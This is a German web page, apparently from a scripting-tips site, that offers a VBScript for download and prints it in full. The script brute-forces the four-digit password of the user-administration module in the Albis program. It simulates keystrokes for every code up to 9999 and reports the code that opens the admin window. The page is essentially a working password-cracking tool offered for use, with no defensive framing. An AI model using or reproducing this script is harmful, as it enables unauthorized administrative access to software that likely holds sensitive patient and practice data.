<div>Dieses kleine Script probiert die möglichen Passwörter von 1000 bis 9999 durch.</div>
<div> </div>
<div>
<div>
<div>
<div><strong>Script-Link: </strong><a href="/../download/wsh/albis_pw_brutforce.vbs" data-cke-saved-href="../download/wsh/albis_pw_brutforce.vbs"><img src="/../images/stories/windows/thumbs/script.jpg" alt="" width="16" height="19" style="vertical-align: text-bottom; border: 0pt none;" border="0" data-cke-saved-src="../images/stories/windows/thumbs/script.jpg" /></a></div>
</div>
</div>
</div>
<div class="VBA_code"><span>Option Explicit</span><br /> <span>Dim </span>wsh, i, j, s, z, t<br /> <span>Set </span>wsh = <strong>CreateObject</strong>("<span>WScript</span>.Shell")
<p><strong>MsgBox </strong>"Jetzt das Albis-Programm aktivieren." & vbcrlf &"Innerhalb von 3 Sek. Zeit!" , vbOKOnly, "Albis BruteForce PW knacken"<br /> <span>WScript</span>.sleep 3000<br /> t = Time<br /> <span>For </span>j = 1<span> To </span>9999</p>
<p class="VBA_code_p" style="margin-left: 6pt;">z = addLeadingZero(j)</p>
<p class="VBA_code_p" style="margin-left: 6pt;">s = vbnullstring</p>
<p class="VBA_code_p" style="margin-left: 6pt;"><span>For </span>i = 1<span> To </span>4</p>
<p class="VBA_code_p" style="margin-left: 10pt;">s = s & "{" & <strong>Mid</strong>(z, i, 1) & "}"</p>
<p class="VBA_code_p" style="margin-left: 6pt;"><span>Next</span></p>
<p class="VBA_code_p" style="margin-left: 6pt;">wsh.Sendkeys "%svv"</p>
<p class="VBA_code_p" style="margin-left: 6pt;"><span>WScript</span>.sleep 50 <span class="VBA_code_rem">'evtl. bis 100</span></p>
<p class="VBA_code_p" style="margin-left: 6pt;">wsh.Sendkeys s</p>
<p class="VBA_code_p" style="margin-left: 6pt;"><span>WScript</span>.sleep 100 <span class="VBA_code_rem">'evtl. bis 150</span></p>
<br />
<p class="VBA_code_p" style="margin-left: 6pt;">wsh.Sendkeys "{Enter}"</p>
<span class="VBA_code_rem"> 'Hier muss eine gewisse Wartezeit sein damit das Formular geladen werden kann</span><br />
<p class="VBA_code_p" style="margin-left: 6pt;"><span>WScript</span>.sleep 100</p>
<p class="VBA_code_p" style="margin-left: 6pt;"><span>WScript</span>.echo z</p>
<br /><span class="VBA_code_rem">' wsh.Sendkeys "%n" 'neuen DS aufrufen damit Enter unterbunden wird falls das PW stimmt</span><br />
<p class="VBA_code_p" style="margin-left: 6pt;"><span>If </span>wsh.AppActivate("Benutzerverwaltung") =<span> True</span><span> Then</span></p>
<p class="VBA_code_p" style="margin-left: 10pt;">t = (Time - t) * 1404</p>
<p class="VBA_code_p" style="margin-left: 10pt;"><span>WScript</span>.echo Time_To_minsec(t)</p>
<p class="VBA_code_p" style="margin-left: 10pt;">InputBox "Albis Benutzerverwaltung !","Das heutige Passwort ist : " & z, z </p>
<p class="VBA_code_p" style="margin-left: 10pt;"><span>WScript</span>.echo "Passwort : " & z</p>
<p class="VBA_code_p" style="margin-left: 10pt;"><span>WScript</span>.quit</p>
<p class="VBA_code_p" style="margin-left: 6pt;"><span>Else</span></p>
<p class="VBA_code_p" style="margin-left: 10pt;">wsh.Sendkeys "{Enter}"</p>
<p class="VBA_code_p" style="margin-left: 6pt;"><span><span>End </span>If</span></p>
<span>Next</span>
<p><span>Function </span>addLeadingZero(number)</p>
<p class="VBA_code_p" style="margin-left: 6pt;"><span>If </span>number < 10<span> Then</span></p>
<p class="VBA_code_p" style="margin-left: 10pt;">number = "000" & number</p>
<p class="VBA_code_p" style="margin-left: 6pt;"><span>Else<span>If </span></span>number < 100<span> Then</span></p>
<p class="VBA_code_p" style="margin-left: 10pt;">number = "00" & number</p>
<p class="VBA_code_p" style="margin-left: 6pt;"><span>Else<span>If </span></span>number < 1000<span> Then</span></p>
<p class="VBA_code_p" style="margin-left: 10pt;">number = "0" & number</p>
<p class="VBA_code_p" style="margin-left: 6pt;"><span><span>End </span>If</span></p>
<p class="VBA_code_p" style="margin-left: 6pt;">addLeadingZero = number</p>
<span><span>End </span>Function</span>
<p><span>Function </span>Time_To_minsec(t)</p>
<p class="VBA_code_p" style="margin-left: 6pt;"><span>Dim </span>i, s</p>
<p class="VBA_code_p" style="margin-left: 6pt;">i = <strong>InStr</strong>(1, t, ",") </p>
<p class="VBA_code_p" style="margin-left: 6pt;"><span>If </span>i = 0<span> Then</span></p>
<p class="VBA_code_p" style="margin-left: 10pt;">s = t</p>
<p class="VBA_code_p" style="margin-left: 6pt;"><span>Else</span></p>
<p class="VBA_code_p" style="margin-left: 10pt;">s = <strong>Left</strong>(t, <strong>InStr</strong>(1,t, "")) & ":"</p>
<p class="VBA_code_p" style="margin-left: 10pt;">i =<span> CInt</span>(Right(t, <strong>Len</strong>(t) - <strong>InStr</strong>(1,t , "")) * 60)</p>
<p class="VBA_code_p" style="margin-left: 10pt;"><span>If </span>i = 0<span> Then</span></p>
<p class="VBA_code_p" style="margin-left: 14pt;">s = s & i</p>
<p class="VBA_code_p" style="margin-left: 10pt;"><span>Else</span></p>
<p class="VBA_code_p" style="margin-left: 14pt;">s = s & i</p>
<p class="VBA_code_p" style="margin-left: 10pt;"><span><span>End </span>If</span> </p>
<p class="VBA_code_p" style="margin-left: 6pt;"><span><span>End </span>If</span></p>
<p class="VBA_code_p" style="margin-left: 6pt;">Time_To_minsec = "Dauer " & s</p>
<span><span>End </span>Function</span></div>
<div> </div>